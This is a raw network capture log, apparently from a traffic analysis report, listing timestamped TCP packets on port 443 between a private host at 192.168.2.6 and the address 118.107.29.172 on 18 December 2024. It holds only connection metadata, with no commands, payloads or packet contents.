Dec 18, 2024 13:35:43.251235008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.251512051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.256473064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.256489038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.256666899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.256689072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.257261992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.384596109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.384624958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.384691000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.384727001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.384742022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.385150909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.390417099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.390439987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.390501022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.390528917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.390563011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.390633106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.418788910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.418811083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.418895960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.418931961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.418961048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.419032097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.424488068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.424515963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.424613953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.424613953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.424628019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.424700022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.429538965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.429559946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.429671049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.429685116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.429964066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.435317993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.435338974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.435416937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.435436010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.435457945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.435476065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.443134069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.443152905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.443237066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.443255901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.446047068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.449470997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.449490070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.449563026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.449577093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.449722052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.576795101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.576822042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.577004910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.577037096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.577306032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.582068920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.582093000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.582293987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.582310915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.582667112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.611018896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.611047983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.611172915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.611172915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.611202002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.611392975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.616168022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.616192102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.616390944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.616403103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.616450071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.622006893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.622031927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.622112989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.622112989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.622124910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.622288942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.627810001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.627830029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.627871990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.627882957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.627911091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.627923965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.635422945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.635452986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.635484934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.635495901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.635539055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.635539055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.640805006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.640822887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.640858889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.640868902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.640897989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.769572973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.769592047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.769654036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.769679070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.769716978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.774827957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.774843931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.774878979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.774888992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.774912119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.774936914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.803596020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.803612947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.803694010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.803729057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.803755045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.803780079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.808666945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.808686018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.808748960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.808775902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.808809042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.814487934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.814503908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.814543962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.814563990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.814579964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.814595938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.819633007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.819648981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.819689989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.819735050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.819745064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.819778919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.827717066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.827732086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.827766895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.827789068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.827811003 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.827826977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.833276033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.833333969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.833349943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.833364010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.833386898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.833405018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.961370945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.961404085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.961440086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.961469889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.961491108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.961507082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.966805935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.966833115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.966871023 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.966887951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.966907978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.966918945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.995469093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.995501041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.995537996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.995553970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.995575905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.995594978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.001214027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.001240015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.001270056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.001281977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.001305103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.001322985 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.006885052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.006910086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.006947994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.006959915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.006983995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.006999969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.012691975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.012717962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.012749910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.012759924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.012794971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.019773006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.019797087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.019824982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.019838095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.019857883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.019875050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.025218964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.025243044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.025275946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.025285006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.025319099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.153369904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.153394938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.153559923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.153594971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.153640032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.159296989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.159388065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.159424067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.159473896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.187796116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.187819004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.187868118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.187890053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.187907934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.187928915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.193892002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.193913937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.193948030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.193967104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.193981886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.194001913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.198863029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.198878050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.198940039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.198959112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.198996067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.204610109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.204627037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.204689026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.204704046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.204741001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.212095022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.212112904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.212174892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.212193012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.212228060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.217957020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.217989922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.218035936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.218059063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.218072891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.218101025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.345663071 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.345691919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.345746994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.345774889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.345791101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.345813036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.351563931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.351634026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.351644039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.351658106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.351690054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.379846096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.379874945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.379909039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.379930019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.379944086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.379962921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.385536909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.385555983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.385596037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.385601997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.385637999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.391432047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.391450882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.391488075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.391494989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.391531944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.396764994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.396786928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.396821022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.396835089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.396862984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.404412031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.404433966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.404481888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.404496908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.404517889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.404535055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.410109043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.410129070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.410160065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.410173893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.410203934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.410223007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.537683010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.537714958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.537765026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.537796021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.537811995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.537833929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.543509007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.543530941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.543574095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.543585062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.543631077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.572180986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.572208881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.572246075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.572271109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.572285891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.572302103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.577860117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.577883959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.577908993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.577917099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.577939987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.577963114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.583765030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.583786011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.583815098 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.583849907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.583863974 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.583890915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.588871956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.588896036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.588927984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.588936090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.588974953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.596985102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.597018957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.597047091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.597054958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.597074986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.597100973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.602408886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.602443933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.602469921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.602484941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.602519989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.729917049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.729955912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.729998112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.730025053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.730036974 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.730060101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.735862970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.735888958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.735925913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.735932112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.735969067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.764971018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.765002012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.765063047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.765075922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.765099049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.765115976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.769959927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.769994974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.770023108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.770030975 CET	443	49728	118.107.29.172	192.168.2.6
